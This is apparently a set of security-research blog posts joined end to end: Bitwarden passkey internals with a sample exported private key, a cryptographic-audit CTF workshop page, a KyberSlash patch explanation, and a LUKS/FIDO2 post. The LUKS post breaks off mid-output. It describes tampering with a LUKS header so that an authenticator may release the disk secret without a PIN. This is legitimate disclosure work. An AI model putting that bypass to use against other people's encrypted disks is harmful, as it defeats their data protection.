Key Id Hash(sha1): ae7d6c5050694a46dbfcb94d8104d07e59252c11
Key Id Hash(bcrypt-sha1): d62022dbd4eef93cb7268d6abd59da6cf931aace
Key Id Hash(bcrypt-sha256): 0b0d814e0bcba1bbd31f1d4b9f362b621790694f3220c6a76313b26d3cb04b92
Container Public Key:
0000 04 be a2 6b 2f 32 96 ab 75 b8 b7 c6 7e 5d 1b 93
0010 29 f8 79 4b 48 e4 85 22 06 2d 99 58 bc 1e d1 f3
0020 65 dc 11 98 85 17 5b 4a 6b c0 83 dc 3d 24 b3 3b
0030 0c dc ec fe 47 62 3c 53 75 7d 6f b4 31 82 54 a3
0040 adIt displays the public key value and some other information but not much about how it is stored or encrypted. In addition, Microsoft does not allow synchronization of passkeys with other devices. On Apple or Android devices, this feature is enabled. It solves one of the main problems of previous security keys which was the user back-up. However, this may lock the user to a specific vendor because passkeys are not synchronized between devices of different ecosystem like Apple and Google. For example, users with an Apple laptop would not be able to retrieve their passkeys on an Android phone. With hardware security key, since the private key is not accessible anytime, a second hardware security key needs to be enrolled for each services in case the first one is broken or lost. This creates a big drawback for such devices.
On another hand, the security model has changed. With a security key, the private key is stored inside a secure element and an attacker with physical access to a security key would not be able to recover the private key value. With passkeys, the private key is decrypted and stored in memory at some point and thus maybe accessible by an attacker with access to the machine. This change of threat model needs to be known and chosen accordingly to the requirements of the user.
To dig a bit deeper we can inspect the Bitwarden password manager which recently implemented the passkey support. The main advantage is that Bitwarden is open-source, therefore we may inspect the implementation. The browser extension can be downloaded from their website, but to be able to debug the extension we used the source code from the GitHub repository.
Lets see how the Bitwarden browser extension works. As soon as the extension is installed in the browser, when we browse to a service using passkeys we see the extension intercepting the Webauthn calls and displaying its own pop-up allowing to save the passkey in Bitwarden.
Indeed, in the code we noticed that the Webauthn calls are overridden:
const browserCredentials = {
create: navigator.credentials.create.bind(
navigator.credentials,
) as typeof navigator.credentials.create,
get: navigator.credentials.get.bind(navigator.credentials) as typeof navigator.credentials.get,
};
const messenger = ((window as any).messenger = Messenger.forDOMCommunication(window));
navigator.credentials.create = createWebAuthnCredential;
navigator.credentials.get = getWebAuthnCredential;Now each time the browser calls navigator.credentials.create it ends calling the function createWebAuthnCredential which itself calls the function makeCredential. The previous browser function pointer is kept in browserCredentials in case the user chooses the option “hardware key”. In this case, the previous operating system passkey mechanism (like Microsoft Hello) or a hardware security key will be used.
If we set-up a breakpoint at the end of the makeCredential function we may inspect the FIDO2 credential created:
It is interesting to see how everything is generated in the case of Bitwarden compared to a hardware security key where information like the private key is never accessible. Finally, when the passkey is created, it is stored encrypted in the same way as the Bitwarden passwords. The passkeys are also synchronized to the Bitwarden server with a end-to-end encryption and may be accessible to other devices of any brand with Bitwarden installed. This slightly mitigates the problem of vendor lock-in as described previously. An additional interesting feature is that the private key can be exported from the vault in JSON format. This may allow using passkeys in another password manager:
We recover the same information as before with the breakpoint. We can verify that the private key stored in “keyValue” is indeed a valid ECDSA key:
>>> from base64 import urlsafe_b64decode
>>> from Crypto.PublicKey import ECC
>>> key = urlsafe_b64decode("MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQg_dPKJYzILFODdIoqCMNFSf8lW2eshE1svRoSDTI5fW-hRANCAATZ_O0udqtAzQgVlpvSJR-W_ATFwfJe5zZQZZR8jZIBbZBHkTFMXknfbPYAnkcBiaZ2I65_ekaFZka7w5SF7dj7")
>>> mykey = ECC.import_key(key)
>>> mykey
EccKey(curve='NIST P-256', point_x=98598770569431995048367531420607085473572368805074580755539128000146379506029, point_y=65259498419889818768139648241655501916327374218050147091927245960562103671035, d=114809350587340781021412553336309859741152322992353337399001953495223948115311)
Similarly, when the browser calls navigator.credentials.get function in Bitwarden code, then the function getAssertion is called. When the signature is returned, we can verify its validity with the public key in Python as well:
>>> from Crypto.PublicKey import ECC
>>> from Crypto.Hash import SHA256
>>> from Crypto.Signature import DSS
>>> signature = urlsafe_b64decode("MEYCIQCwDTCys2jgUyfnArlYrVeByRuasP8sjM73iYJzk14UrAIhALp2BBronN3ds0wLxI13B7YKDn1jdRCtGyseBwzqHEis")
>>> authData = urlsafe_b64decode("dKbqkhPJnC90siSSsyDPQCYqlMGpUKA5fyklC2CEHvAFAAAAAQ==")
>>> clientDataJSON = urlsafe_b64decode("eyJ0eXBlIjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiUlR4YmJVMkt0Q29jeEVJOG1pend3TExoMHdhb0hoNUhSR3JUNl9SZlVNeXIzb0xVUWw5dkJvNERjN1FsUmdpc2VzcnJ4NHFEcnVTMW1kakpFQnBjSHciLCJvcmlnaW4iOiJodHRwczovL3dlYmF1dGhuLmlvIiwiY3Jvc3NPcmlnaW4iOmZhbHNlfQ==")
>>> clientDataHash = SHA256.new(clientDataJSON)
>>> h = SHA256.new(authData+clientDataHash.digest())
>>> verifier = DSS.new(mykey, 'deterministic-rfc6979', 'der')
>>> try:
... verifier.verify(h, signature)
... print("The message is authentic.")
... except ValueError:
... print("The message is not authentic.")
...
False
The message is authentic.To sum-up, we have seen how passkeys are used in practice and how they are implemented in the Bitwarden password manager. We noticed that the threat model has changed between hardware security keys and passkeys since at some point the user private key is present in the user’s system for passkeys. Even if passkeys solved the user credential back-up problem, the threat model needs to be assessed according to the use cases.
The Workshop on Cryptographic Code Audit and Capture The Flag (WCCA+CTF) was an affiliated event to EUROCRYPT 2024, and was held at ETH Zurich, Switzerland, on 2024-05-26 (May 26th, 2024, for those unfamiliar with ISO-8601).
This page contains information about the workshop, schedule, and registration procedure. It is kept for archiving purposes, and reflects the status at the time.
UPDATE 2024-11-05: update of this page for the records, with winners of the CTF.
The rapidly evolving landscape of cryptography introduces growing complexities which make secure code implementation very challenging. This is especially problematic in the fast-moving Web3 world, where bleeding-edge cryptographic schemes are deployed to protect large amount of funds, but also in privacy-sensitive applications and secure communications. In this context, not only does understanding cryptographic theory matter, but so does the effective implementation and auditing of cryptographic code.
This one-day workshop, uniquely situated at the intersection of theoretical and applied cryptography, aims to provide an immersive learning experience in cryptographic code auditing informed by real-world examples. It targets professionals and researchers looking to deepen their understanding and sharpen their skills in secure cryptographic code auditing.
The day will start with a series of lectures by seasoned experts on various topics of the art of cryptographic code audit, starting from the very philosophical ones (the “why” and “how” of crypto code audits), to business and organizational considerations (how to do code audits in practice, as a contractor or within an org), to the more technical ones (where to look and how to identify vulnerabilities in cryptographic code, including hash functions, block ciphers, randomness, zero-knowledge protocols, and multi-party computation schemes). The lectures will be enriched with case studies from past cryptographic audits conducted by our company for high-profile clients.
In the afternoon, attendees will put their learning to the test in an engaging Capture The Flag (CTF) challenge. Participants will split into teams and strive to identify vulnerabilities in flawed code snippets provided by the organizers, submitting their findings via an online portal.
The event will conclude with a brief discussion on some of the solutions, and winning teams will be announced and awarded at the conference’s rump session.
Luca Dolfi is a security engineer at Kudelski Security, with a specialization in secure code reviews for cryptographic libraries and smart contracts. In the past two years he worked on secure code reviews of many crypto wallets, where he evaluated implementations of threshold signature schemes for an array of Web3 entities, such as crypto.com, Torus Labs and Aleph Zero. He obtained his MSc in Computer Science with a focus on information security in ETH Zurich; his academic work on privacy-preserving technologies has been published in the USENIX Security Symposium.
Tommaso Gagliardoni is tech leader for the initiatives in advanced cryptography services and quantum security at Kudelski Security. He published peer-reviewed papers in the areas of cryptography, quantum computing, security, and privacy, and spoke at conferences such as CRYPTO, EUROCRYPT, ASIACRYPT, DEF CON Demolabs and Black Hat Europe. As a subject expert on quantum security, he serves in the program committee of academic conferences such as PQCRYPTO and ACNS, and collaborates with the World Economic Forum and official agencies in the context of international agreements. Expert in blockchain and DeFi technologies, Tommaso has performed cryptographic code audits for clients such as Binance, Coinbase, and ZenGo. He also has a background in privacy hacktivism, investigative journalism, and ethical hacking, speaking at venues such as the International Journalism Festival, and designing the open source disk privacy tool Shufflecake.
Adina Nedelcu is a security engineer at Kudelski Security, focused on cryptographic code reviews of threshold signature schemes and smart contracts. She obtained a PhD from Rennes 1 University and a master’s degree from ENS Paris-Saclay (MPRI). Adina has published cryptographic papers at conferences such as ESORICS, ACNS and PETS, and was one of the finalists at CSAW’22.
Marco Macchetti has more than 20 years of experience on various applied cryptography topics, including more than 30 patents, with a focus on hardware implementations of cryptographic schemes and ECDSA signatures in particular. He discovered the Polynonce attack on weak randomness for ECDSA, and he co-presented a talk on real-world Polynonce attacks at DEF CON. He performed cryptographic code audits for clients such as AMIS and Coinbase.
Sylvain Pelissier is a cryptography expert with a focus on hardware attacks and vulnerability research. Sylvain worked on the security of cryptographic implementations on different platforms, as well as on critical code security audits. He has previously spoken at FDTC, CCC, Hardwear.io, Insomni’hack, NorthSec and SSTIC on topics including public and symmetric keys vulnerabilities, elliptic curves, and reverse engineering. In particular, he reversed a wildspread file encryption solution, introduced the first practical fault attack against the EdDSA signature algorithm, and published a proof of concept of the CurveBall vulnerability. He likes playing and organizing CTFs.
A CTF (“Capture The Flag”) is a type of contest, very popular among hacking communities and events. Usually, people participate in teams, and the goal is to solve as many challenges as possible within the given time by submitting the right “flag” into an interactive portal, where team scores are usually real-time updated on a public scoreboard. The flag, to be entered into an input box, is usually in the form of a secret string which can only be found by solving the given challenge, for example by exploiting a purposely vulnerable service and stealing some credentials, or by hacking some website specified in the challenge. All these vulnerable services and websites are set-up by the CTF organizers with the sole scope of being hacked, but the way to do it is not always so easy to find, and that’s where the challenge comes from! Sometimes a hint is given in the description of the challenge, sometimes not, but you’ll know you have found the flag when you see it.
For reasons of inclusivity, and in order to provide a gentle introduction to the neophytes, the CTF will be structured in a slightly non-standard format.
We will begin the afternoon first of all with a tutorial to help participants register and getting comfortable with the web portal.
Notice that teams must be validated in-person by bringing your Eurocrypt badge and registering your username (and, optionally, team) during the CTF tutorial in this time slot, by using the registration code we will provide in-person. Make sure your internet connection is working. Time enforcement will be strict.
Then we will go through one or two examples of challenges, showing how to interpret the challenge, acquire information, ideating and executing an attack, and extracting a flag.
After that, the real competition portal will open, and teams will be left free to solve as many challenges as possible. Staying in the room is not mandatory for this phase, i.e. you can leave and go home / to your hotel to solve the challenges, but we will be available for in-person clarifications where necessary.
Some challenges will be very easy, others very hard, in order to provide all participants a satisfactory level of engagement. It is not necessary to complete challenges in a given order, but after completing a challenge you will be proposed a “next” one that we think follows in terms of difficulty.
Some challenges will be in a standard CTF style, i.e. you’ll need to hack through a service or website (for which you’ll be provided relevant source code or configuration data), extract and submit the flag. Other challenges will be of a more “theoretical” nature: You will be given source code to audit, and will be asked to enter your observations and vulnerability findings in the form of a short (few sentences) report in a text box.
Team scores will not be shown in real-time. From the moment the competition starts you will be given 24 hours to solve all the challenges, then the portal will close. The winners will be announced and awarded during the Eurocrypt rump session!
1st prize: West Ham Defence Audit Group
2nd prize: K(AU)LMAR AND ROBIN
In order to register, select WCCA+CTF under “affiliated events” when registering for Eurocrypt 2024.
Prerequisites for the workshop itself are a high-level familiarity with programming languages such as C, Python, Go, Rust, and a generic knowledge of cryptographic concepts which should be given for granted for any Eurocrypt participant.
For the CTF, a personal laptop with WiFi connection and a modern, JavaScript-capable browser are required. You will also need to provide an email address for the registration, it can be different from the one you used to register at Eurocrypt if you want, it will just be used to send announcements and notifications from the CTF portal. We do not record this information for more than necessary: it will be deleted after the end of the CTF.
A full development stack or IDE installed is not strictly necessary, but it might be helpful for you to, e.g., run automated scripts.
Sunday 2024-05-26, Zurich, Switzerland.
Starting at 8:30.
Main building of ETH (“Hauptgebäude” – HG).
Room D5.2
Additional 1-slide info
In this blog post we are going to talk about a security incident which involved an open-source library developed by a student working on their Master’s thesis at Kudelski Security. The library in question is crystals-go, a Golang implementation of the NIST-selected quantum-resistant cryptographic algorithm Kyber and Dilithium (now finally approved and soon-to-be-standards, as ML-KEM and ML-DSA, respectively). This library was found to be vulnerable to a recently discovered timing attack called KyberSlash, which affects certain implementations of Kyber. It is important to stress that the library crystals-go is unmaintained: it was released by us as an open-source research project in 2021, and was not meant for production; Kudelski Security does not use, and has never used, crystals-go in any commercial product or offering. Despite this, we decided to apply an excess of caution, also because previously we forgot to properly mark the library as unmaintained, so we are not sure whether someone else is using it in the wild. Hence, we patched crystals-go against KyberSlash, and we are going to see in this post how we did it.
Kyber (now called ML-KEM) is a key encapsulation mechanism (fundamentally, a public-key encryption scheme) based on modular lattices, which was submitted as part of the NIST PQC standardization competition. There exists a reference implementation in C, plus many other libraries in different programming languages. The vulnerability in question (albeit not a problem of the theoretical Kyber scheme itself) affects many of these implementations, and was discovered by researchers Goutam Tamvada, Karthikeyan Bhargavan, and Franziskus Kiefer, and later independently by Prof. Dan J. Bernstein at the end of 2023. It is a classical example of secret leakage through timing side-channel. Initially the issue was found in the poly_tomsg decoding procedure of Kyber, and was initially called “KyberSlash”; but later, researchers Prasanna Ravi and Matthias Kannwischer found the same issue also in the procedures poly_compress and polyvec_compress. After that, after proposal of Dan Bernstein, the adopted nomenclature became “KyberSlash1” for the specific vulnerability in poly_tomsg and “KyberSlash2” for the problem in poly_compress and polyvec_compress (and “KyberSlash” for the general issue).
The issue with KyberSlash is a variable-time division: there is a step in the code where a division is executed, whose result might take more or less time (CPU cycles) depending on the (secret) input. By crafting malicious ciphertexts and tricking a target user to decrypt them, it is possible to extract the full secret key by measuring accurately this time difference. Such kind of attacks can be devastating, and have appeared many times in the past on different security advisories, even following real-world exploitation in most cases. Therefore one must take KyberSlash very seriously.
More in detail, the issue lies at steps in the above mentioned routines, where some secret value is divided by a constant. For example:
1
t = (((t << 1) + KYBER_Q/2)/KYBER_Q) & 1;
In the code line above (which is taken from Kyber’s reference C implementation pre-fix), t is a temporary variable which stores some polynomials’ secret coefficients and executes certain algebraic operations on them, while KYBER_Q is a scheme-dependent constant which assumes the value 3329.
The problem lies in the division by KYBER_Q. This /KYBER_Q operation is the one which appears every time the KyberSlash vulnerability is found. Generally speaking, modern CPU architectures implement integer division through a single div assembly instruction. However, the div instruction is very heavy computationally (in term of CPU cycles); it is, in fact, usually the slowest operation possible on integers, taking many cycles to complete. Even worse, this number of cycles almost always depends on the size of the input, which can lead to timing attacks. So, “naive” integer divisions in code are a pain both for performance and security.
In order to avoid the computational overhead and optimize speed, modern compilers are often “smart enough” to understand when the divisor is a constant, and therefore use by default certain tricks to speed up things. More precisely, they replace a single div instruction with a combination of mul (multiplication) and shr (bitwise shift right), in such a way that the resulting action on the dividend is the same (more on this later). A single div instruction on most modern architectures is so costly (in terms of CPU cycles) that the equivalent combination of mul, shr, plus a couple of necessary mov (move) instructions is almost always faster. As an added bonus, on most architectures, these simpler instructions have a constant cycle cost, therefore the resulting division algorithm is actually constant-time. This trick, therefore, is a win-win both for performance and security: modern compilers use it all the time by default. And this is why the KyberSlash vulnerability was never spotted before.
But here is the caveat: There are actually cases where what is described above does not happen or does not apply. For example:
shr, or compilers who are not able to manage well this operation;mul is not constant-time;Notice, in fact, that when looking at opcode size, a single div instruction will always take less space than a combination of multiple, simpler instructions, so compiler flags that optimize for code size will disable the speed optimization described above.
This intuition was tested and verified with proof-of-concept exploits, that confirmed a possible, devastating key-recovery attack on many implementations. Therefore, KyberSlash was addressed as a “high” severity vulnerability, and reference code and other affected libraries quickly patched by enforcing *explicitly* the constant-time division trick.
In 2021, Kudelski Security released crystals-go, an open-source library written in GoLang which implemented both Kyber and Dilithium with a particular eye to side-channel attacks. The library was created as a M.Sc. student project by Mathilde Raynal, under supervision of Yolan Romailler, it was really a great job and was even integrated in some PoC and presented at conferences such as GopherCon. But this library was devised as a research and testing tool, and not meant for production. After the maintainers of the library left our team, the original intent of the project was largely reduced in scope, until it became pretty much abandoned. Unfortunately, we forgot to mark it as such, and remnants of the project’s initial enthusiasm remained misleadingly prominent. For example, until January 2024, the project’s README still reported:
Our library stands out because of its security properties. Among the vulnerabilities reported on the original implementation, we integrate countermeasures for most of them, providing a library that is both theoretically and practically secure. We predict that new attacks will be published as the candidates are refined, and expect changes in the code to occur as the security of our library is treated as a continuous process.
This led to a communication incident a few weeks ago, after crystals-go was found to be one of the many libraries vulnerable to KyberSlash.
On January 8th 2024 we got notified that crystals-go appeared on the list maintained by Dan Bernstein of the libraries affected by KyberSlash. This was picked up by some tech news outlets [1] [2], and someone even claimed that “Kudelski Security is impacted by KyberSlash”. We got an early morning call from our PR/marketing department…
We immediately realized that no one was “impacted” the way it was implied, and that the whole thing was just a miscommunication. But, regardless, we should have archived the project and documented its status, so now we had to take some action.
As a first thing, we updated the crystals-go README.md with a big disclaimer properly stating that the project was unmaintained and unrecommended outside of testing or research purposes, and that Kudelski Security had never put the library in production. We also realized that Goutam Tamvada, one of the KyberSlash original discoverers, had reported the issue to us via GitHub earlier, but (guess what?) nobody read it – because the project was not maintained.
We could have archived the repository and stopped here, but we felt it was our responsibility to patch the issue in the current code, because we did not know if at that point anyone was using this library in production (we only knew that we weren’t), or anyway what the broader implications could be.
We started with patching KyberSlash1. This was easy, it was basically a copy-and-paste from the patch of the C reference implementation.
For KyberSlash2 the situation was not straightforward. The reason is that crystals-go was built over an old version of the reference code, and a few things are a bit different. Most importantly, crystals-go supports certain early parameters of the Kyber scheme that have later been removed from the standard, in particular the value d (number of bits per coefficient when compressing polynomial arrays), which in crystals-go can assume values 3, 4, 5, 6, 10, or 11 (while the set supported by the current reference implementation is smaller).
So, first of all, we had to decide how to proceed. One option could have been to actually remove the unused parameters, and then copy-and-paste the patch for KyberSlash2 from the reference implementation. It would have been more elegant, but we decided against this option, for two reasons:
So we decided to patch against KyberSlash2 for all parameters, even those not currently supported by the reference implementation. But this required understanding well the math and engineering behind the fix, not merely copy-pasting.
Basically, in order to patch the issue, we need to enforce in code what compilers should do under “normal” conditions: namely, replacing the /KYBER_Q division with an equivalent, constant-time sequence of operations. Let’s start by looking at KyberSlash1. Recalling that KYBER_Q is a constant (3329), let’s see again here the original, vulnerable snippet of code seen before from the reference C implementation:
1
t = (((t << 1) + KYBER_Q/2)/KYBER_Q) & 1;
This was officially patched in the following way:
1
2
3
4
5
t <<= 1;
t += 1665;
t *= 80635;
t >>= 28;
t &= 1;
What is going on here? Where do those other constants come from? 1665 seems to be a rounding up (ceil) of KYBER_Q/2, but how about the others?
Similar patches also appear on the code vulnerable to KyberSlash2 in the reference implementation. For example, in polyvec_compress the vulnerable line:
1
t[k] = ((((uint32_t)t[k] << 11) + KYBER_Q/2)/KYBER_Q) & 0x7ff;
is replaced with:
1
2
3
4
5
6
d0 = t[k];
d0 <<= 11;
d0 += 1664;
d0 *= 645084;
d0 >>= 31;
t[k] = d0 & 0x7ff;
But now the constants are different, and even the rounding of KYBER_Q/2 is floor (round down) instead of ceil. How do we interpret this?
Well, here is how it works: one can always see a division x/y as x * (1/y). When working with integers we do not have, of course, the luxury of representing 1/y, but what we can do is approximate the result of 1/y as z / 2^s for certain values z and s, because a division by 2^s is simply a shr (shift right) by s positions, also written >> s. In other words, one can approximate x/y by computing (x*z) >> s where z is an integer as close as possible to (2^s)/y. This can be precomputed and hardcoded when the divisor is a constant, which is exactly what is happening here: in our case, all those constants like 80635 and 645084 are of the form round(2^s/KYBER_Q) for some s (and s is exactly the value of the subsequent shift right, i.e. 28 and 31 in the two examples above).
But how to choose a good s? And why are they different case by case? Well, remember that you need a good approximation if you want the (integer) result to be correct, so ideally you want to use an s which gives you the best possible approximation, and it is easy to see that, in general, the larger s, the better the approximation. But using a too large s will result in the variable overflowing after the multiplication, and this means that you will lose some bits of the result, starting from the most significant ones. In our case, during polynomial coefficient compression, we are only interested in the d least significant bits of the result of the division (notice in fact that the last instruction, the &, is a logical AND Boolean operator with a full bitmask of the desired length, which returns the last d significant bits). So you want to use the largest s that allows you to keep d bits after the >> s operation. And this depends on the variable size: if the variable fits in a 32-bit register, then s = 32 - d, which is the case of poly_tomsg in KyberSlash1 and the cases of d=3,4,5,6 of polyvec_compress in KyberSlash2. In the cases of d=10,11 we are using 64-bit variables, so in theory we can afford a better approximation, but it would be overkill, and keeping operands to 32-bit values speeds up computation, so we stick to a maximum of s=32.
It remains to understand why KYBER_Q/2 is at times approximated as 1664 and at other times as 1665. This is done to “compensate” the other rounding coming from the division: if we use a constant which is a round-down (as in our first example, 80635) then we compensate this by rounding up KYBER_Q/2 as 1665, otherwise (as in our second example, 645084) we round down to 1664.
Understanding this allowed us to patch crystals-go against KyberSlash even for these legacy parameters.
After patching crystals-go, we issued a security advisory and archived the crystals-go repository, alerting everyone that the library should not be used in production. After that, we notified the tech news outlets mentioned above, and they very professionally updated their articles. We also reached out to the NIST PQC community, and Dan Bernstein promptly updated the vulnerable library tracking page. We confirm again that crystals-go has never been used as part of any commercial services or products at Kudelski Security. The project is now unmaintained from our side because we want to focus on other projects, but feel free to fork it, this is the power of open source!
Finally, we are putting in place internal processes to reduce the possibility of similar incidents in the future.
FIDO2 security keys offer a versatile range of user authentication options. We have explored some of these possibilities during a workshop we presented at ph0wn. This post delves deeper into setting up disk encryption with LUKS safeguarded by a security key. We also explain the underlying mechanics and highlight pitfalls to avoid.
LUKS is a common solution to encrypt block devices like solid-state drives in Linux ecosystems. Basically it works by leaving a header unencrypted before the encrypted devices with all the necessary information to decrypt the following device. This header contains information to derive a key used to decrypt a binary key slot area. In the key slot, a master key is then used to decrypt or encrypt the whole device. A well known tool to manage encrypted devices is cryptsetup. It allows to setup and manage encryption of devices. For example, to create a LUKS device the subcommand luksFormat can be used on a file or on a block device. This command formats completely your device, thus, it has to be used carefully:
$ cryptsetup luksFormat disk.img
WARNING!
========
This will overwrite data on disk.img irrevocably.
Are you sure? (Type 'yes' in capital letters): YES
Enter passphrase for disk.img:
Verify passphrase:cryptsetup requests a passphrase which will be used for device encryption and decryption. Then our file disk.img is formatted and encrypted. We can simply open it with the open command:
$ sudo cryptsetup open disk.img encrypted
Enter passphrase for disk.img:
$ lsblk
...
loop23 7:23 0 30M 0 loop
└─encrypted 254:0 0 14M 0 crypt
...Now, let’s see now how we can replace the passphrase by a security key.
FIDO2 introduces a standardized communication protocol known as Client-to-Authenticator Protocol (CTAP), which defines the exchange of information between security keys, also referred as authenticators, and the operating system or web browser. The current version is 2.1 and a new version 2.2 is published as a Review Draft. This standard is often used to authenticate users and get rid of passwords as it was already explained in one of our previous blog post.
For LUKS disk encryption, a CTAP extension called “hmac-secret” is used. This extension extends the behavior of the CTAP commands authenticatorMakeCredential and authenticatorGetAssertion, allowing to obtain a symmetric key for LUKS key slot decryption. You can verify if your authenticator supports the hmac-secret extension with the get_info.py example script of the Yubico python-fido2 library. This script uses the authenticatorGetInfo CTAP command to retrieve the authenticator information. For example, this is the output of the script when using the Ledger Nano X together with the Security key application:
$ python get_info.py
CONNECT: CtapHidDevice('/dev/hidraw7')
Product name: Ledger Nano X
Serial number: 0001
CTAPHID protocol version: 2
DEVICE INFO: Info(versions=['U2F_V2', 'FIDO_2_0'], extensions=['hmac-secret', 'txAuthSimple'], aaguid=AAGUID(fcb2bcb5-f377-078c-6994-ec24d0fe3f1e), options={'rk': True, 'up': True, 'uv': True, 'clientPin': False}, max_msg_size=1024, pin_uv_protocols=[1], max_creds_in_list=None, max_cred_id_length=None, transports=[], algorithms=None, max_large_blob=None, force_pin_change=False, min_pin_length=4, firmware_version=None, max_cred_blob_length=None, max_rpids_for_min_pin=0, preferred_platform_uv_attempts=None, uv_modality=None, certifications=None, remaining_disc_creds=None, vendor_prototype_config_commands=None)
Device does not support WINKThis indicates that the device adheres to the CTAP 2.0 standard and supports the hmac-secret extension.
During the CTAP authenticatorMakeCredential command, if a hmac-secret parameter is present, the authenticator creates a credential ID and, in addition, generates a 32-bytes of random called CredRandom. To enroll a security key to a LUKS device, systemd offers a convenient tool called systemd-cryptenroll. This tool can be used to enroll the authenticator using the hmac-secret extension. Again, this following command will wipe previous slots and thus have to be used with caution:
$ systemd-cryptenroll --fido2-device=auto --wipe-slot=all test.img
🔐 Please enter current passphrase for disk /home/luks/test.img: (press TAB for no echo)********
Initializing FIDO2 credential on security token.
👆 (Hint: This might require confirmation of user presence on security token.)
🔐 Please enter security token PIN: ********
Generating secret key on FIDO2 security token.
👆 In order to allow secret key generation, please confirm presence on security token.
New FIDO2 token enrolled as key slot 1.
Wiped slot 0.Lets look at the new LUKS header of our device after the security key enrollment:
$ cryptsetup luksDump test.img
LUKS header information
Version: 2
Epoch: 6
Metadata area: 16384 [bytes]
Keyslots area: 16744448 [bytes]
UUID: df8d4f98-2e1e-4342-befb-edf4bfa3e5a8
Label: (no label)
Subsystem: (no subsystem)
Flags: (no flags)
Data segments:
0: crypt
offset: 16777216 [bytes]
length: (whole device)
cipher: aes-xts-plain64
sector: 4096 [bytes]
Keyslots:
1: luks2
Key: 512 bits
Priority: normal
Cipher: aes-xts-plain64
Cipher key: 512 bits
PBKDF: pbkdf2
Hash: sha512
Iterations: 1000
Salt: 2e 93 59 1b 94 e1 df 30 2a 98 15 10 f1 5c b5 19
89 65 d4 fd 2f 58 ac 02 68 8b cc 42 07 0b 99 12
AF stripes: 4000
AF hash: sha512
Area offset:290816 [bytes]
Area length:258048 [bytes]
Digest ID: 0
Tokens:
0: systemd-fido2
fido2-credential:
db 76 b3 fc 9d d0 18 e5 1e ec f0 53 2b ed e9 8b
b7 70 73 85 fd 4f 16 d5 7c dc 21 1c 2c 8f 12 e7
29 f7 a1 22 05 5b e0 43 e4 45 23 55 33 88 6d 34
89 03 9b 2c 77 92 1a 87 6e e5 24 23 2f 40 05 e6
fido2-salt: 95 11 36 b7 b1 93 54 42 0f 4f 79 95 4e e4 77 d1
f9 e0 d7 7a f1 37 fd 49 ab 04 6c f0 cd d9 7b 8a
fido2-rp: io.systemd.cryptsetup
fido2-clientPin-required:
true
fido2-up-required:
true
fido2-uv-required:
false
Keyslot: 1
Digests:
0: pbkdf2
Hash: sha256
Iterations: 326455
Salt: ac 17 58 50 09 95 09 c8 bc e5 fd d3 03 50 8f 98
c9 76 55 2b e7 fc 45 09 d4 c8 4b ce b2 12 30 79
Digest: ab 67 ee 89 09 45 4f ba 80 35 1a f0 a1 0b e0 ae
8b e9 82 8f 72 7b 6a 54 b5 6a 43 91 aa 0a 6c feWe can see we have a token associated with the key slot 0. This token has a fido2-credential, the credential id which allows to reconstruct everything needed at the security key side including the value of CredRandom. Nothing is stored on the security key, thus is has to be stored in the LUKS header.
Then to generate a secret, the command CTAP authenticatorGetAssertion is used. A shared secret between the security key and the host is obtain with computing a Diffie-Hellman key agreement between the host on the security key. The shared secret is used as a key to encrypt and authenticate a salt chosen by the host and embedded within the fido2-salt field of the LUKS header. The encrypted salt is sent to the security key which will verify the authenticity of the salt and decrypt it. Then the autenticator generates a secret output being the HMAC of the previously generated CredRandom and the :
output = HMAC-SHA-256(CredRandom, salt)
It is returned encrypted to the host. Once decrypted, cryptsetup uses this secret to decrypt the key slot associated. Practically, when you want to decrypt the LUKS image cryptsetup would need your authenticator and your PIN code to reconstruct the secret output:
$ sudo cryptsetup open --token-only image.img encrypted
Enter token PIN:
Asking FIDO2 token for authentication.
👆 Please confirm presence on security token to unlock.Since a part of the secret, CredRandom is only recoverable by the security key, it is not possible to decrypt the device without it.
CTAP employs a parameter called clientPin during the credential creation. When set to True, this indicates that a PIN code has been configured on your authenticator, and you will be prompted for this PIN for future credential generation. If you have not established a PIN code and enroll your security key without setting clientPin to True, the PIN code will never be required for device decryption, even if you configure one later. This arrangement is suitable for devices like the Ledger wallet, which necessitates a separate PIN code for device initiation. However, for other authenticators, this poses a potential issue, as anyone who steals both the device and the authenticator could decrypt your data without requiring your PIN code.
There is another issue as well. If the clientPin was set but a authenticatorGetAssertion request is made without the PIN code, CTAP 2.0 specifies:
This implies that if the pinAuth parameter is omitted, a ‘uv’ bit is set to 0 meaning that the user verification was not made by the authenticator. However, the CTAP specification does not explicitly state whether the hmac-secret extension should return the secret based on the ‘uv’ bit. To investigate this behavior, we conducted experiments on various authenticators. We initiated the test on a Solo key running an outdated firmware version (3.0.0):
$ python get_info.py
CONNECT: CtapHidDevice('/dev/hidraw6')
Product name: SoloKeys Solo 3.0.0
Serial number: 2060469E55B9
CTAPHID protocol version: 2
DEVICE INFO: Info(versions=['U2F_V2', 'FIDO_2_0'], extensions=['hmac-secret'], aaguid=AAGUID(8876631b-e4a0-428f-5784-0ac71c9e0279), options={'rk': True, 'up': True, 'plat': False, 'clientPin': True}, max_msg_size=1200, pin_uv_protocols=[1], max_creds_in_list=None, max_cred_id_length=None, transports=[], algorithms=None, max_large_blob=None, force_pin_change=False, min_pin_length=4, firmware_version=None, max_cred_blob_length=None, max_rpids_for_min_pin=0, preferred_platform_uv_attempts=None, uv_modality=None, certifications=None, remaining_disc_creds=None, vendor_prototype_config_commands=None)
WINK sent!This authenticator supports CTAP 2.0 with the hmac-secret extension and it has the client PIN already set. Then we enroll our key to a LUKS device as previously and we obtain the same header as before. But then in the LUKS header we patched the value fido2-clientPin-required to False. Since the header as a checksum mechanism we created a script to handle all the operation and it is available here. Then after we patched the header we can verify everything is fine:
$ cryptsetup luksDump test.img
LUKS header information
Version: 2
Epoch: 6
Metadata area: 16384 [bytes]
Keyslots area: 16744448 [bytes]
UUID: 7a8cc432-f3ef-48de-9644-74e7d6c81d6a
Label: (no label)
Subsystem: (no subsystem)
Flags: (no flags)
Data segments:
0: crypt
offset: 16777216 [bytes]
length: (whole device)
cipher: aes-xts-plain64
sector: 4096 [bytes]
Keyslots:
1: luks2
Key: 512 bits
Priority: normal
Cipher: aes-xts-plain64
Cipher key: 512 bits
PBKDF: pbkdf2
Hash: sha512
Iterations: 1000
Salt: b7 ed 7b 10 20 c4 d6 65 cc 59 5c 64 16 9c 1e b4
22 33 63 09 a1 1f fc f4 5b 77 79 02 81 47 7d 35
AF stripes: 4000
AF hash: sha512
Area offset:290816 [bytes]
Area length:258048 [bytes]
Digest ID: 0
Tokens:
